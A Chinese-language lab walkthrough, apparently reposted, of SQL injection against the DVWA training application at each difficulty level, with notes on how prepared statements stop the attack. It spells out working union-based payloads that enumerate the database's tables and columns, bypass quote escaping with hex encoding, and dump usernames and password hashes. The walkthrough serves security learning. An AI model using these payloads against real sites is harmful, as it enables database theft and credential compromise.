DVWA全級別之SQL Injection(SQL注入)


DVWA全級別之SQL Injection注入

 

DVWA簡介

DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑒定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。

DVWA共有十個模塊,分別是

Brute Force(暴力(破解))

Command Injection(命令行注入)

CSRF(跨站請求偽造)

File Inclusion(文件包含)

File Upload(文件上傳)

Insecure CAPTCHA (不安全的驗證碼)

SQL Injection(SQL注入)

SQL Injection(Blind)(SQL盲注)

XSS(Reflected)(反射型跨站腳本)

XSS(Stored)(存儲型跨站腳本)

今天我們來學習SQL Injection(SQL注入)

 

SQL Injection,即SQL注入,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL注入漏洞的危害是巨大的,常常會導致整個數據庫被“脫褲”,盡管如此,SQL注入仍是現在最常見的Web漏洞之一

手工注入非盲注步驟分析

1.判斷是否存在注入,注入是字符型還是數字型

2.猜解SQL查詢語句中的字段數

3.確定顯示的字段順序

4.獲取當前數據庫

5.獲取數據庫中的表

6.獲取表中的字段名

7.下載數據

 

Low

 

首先打開dvwa,將等級改為low;

 

 

 

 查看服務器端核心代碼

 

可以看到,Low級別的代碼對來自客戶端的參數id沒有進行任何的檢查與過濾,存在明顯的SQL注入

 

 

判斷是否存在注入,注入是字符型還是數字型

輸入1 查詢成功;

 

 

 

輸入1’ and  ‘1’=’2  查詢失敗,返回結果為空;

 

 

 

 猜解SQL查詢語句中的字段數,輸入:1' or 1=1 order by #  查詢成功;

 

 

  

1' or 1=1 order by 2#  查詢成功;

 

 

 

1' or 1=1 order by 3#  查詢失敗;

 

 

 

說明執行的SQL查詢語句中只有兩個字段,即這里的First name、Surname。(這里也可以通過輸入union select 1,2,3…來猜解字段數)

 

確定顯示的字段順序輸入1′ union select 1,2 #,查詢成功

 

 

 

說明執行的SQL語句為select First name,Surname from 表 where ID=’id’…

 

 獲取當前數據庫,輸入 1' union select 1,database() #  查詢成功,當前數據庫為dvwa;

 

 

 

 

獲取數據庫中的表,輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #  

 

 

 

獲取表中的字段名,輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' #

 

 

  

查詢users表中所有用戶的數據,輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #   

 

 

 

 

 

 

 

 

 

Medium

中級加入了一些防御,不讓用戶輸入,只提供選擇(可用burpsuit抓包來繞過)

查看服務器端核心代碼;

 

 

 

可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號

\x00,\n,\r,\,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。

 

 

 

 

通過burpsuit抓包,修改數據包,繞過防御。判斷注入點,以及注入的類型

輸入 1 and 1=1# 查詢,存在數字型注入;

 

 

 

 

猜解SQL查詢語句中的字段數, 抓包更改參數id1 order by 2#  查詢成功;

 

 

 

 抓包更改參數id1 order by 3#   查詢失敗,說明查詢語句中只有兩個字段;

 

 

 確定顯示的字段順序,抓包更改參數id1 union select 1,2 # 查詢成功;

 

 

 

 獲取當前數據庫,抓包更改參數id為1 union select 1,database() #,查詢成功

 

 

 

 獲取數據庫中的表,1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #查詢成功;

 

 

 

獲取表中的字段名,1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#  查詢失敗;

 

這是因為單引號被轉義了,變成了\’。

可以利用16進制進行繞過,抓包更改參數id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢成功:

 

 

 

 

下載數據,抓包修改參數id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功

 

 

 

 

 

 

 

 

 

High

查看服務器端核心代碼,

 

 可以看到,與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。由於手工注入的過程與Low級別基本一樣,直接進行最后一步下載數據。

 

 

 

輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功

 

 

 

 High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止一般的sqlmap注入,因為sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入

 

 

Impossible

查看服務器端核心代碼,

 

 

 可以看到,Impossible級別的代碼采用了PDO技術,划清了代碼與數據的界限,有效防御SQL注入,同時只有返回的查詢結果數量為一時,才會成功輸出,這樣就有效預防了“脫褲”,Anti-CSRFtoken機制的加入了進一步提高了安全性。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM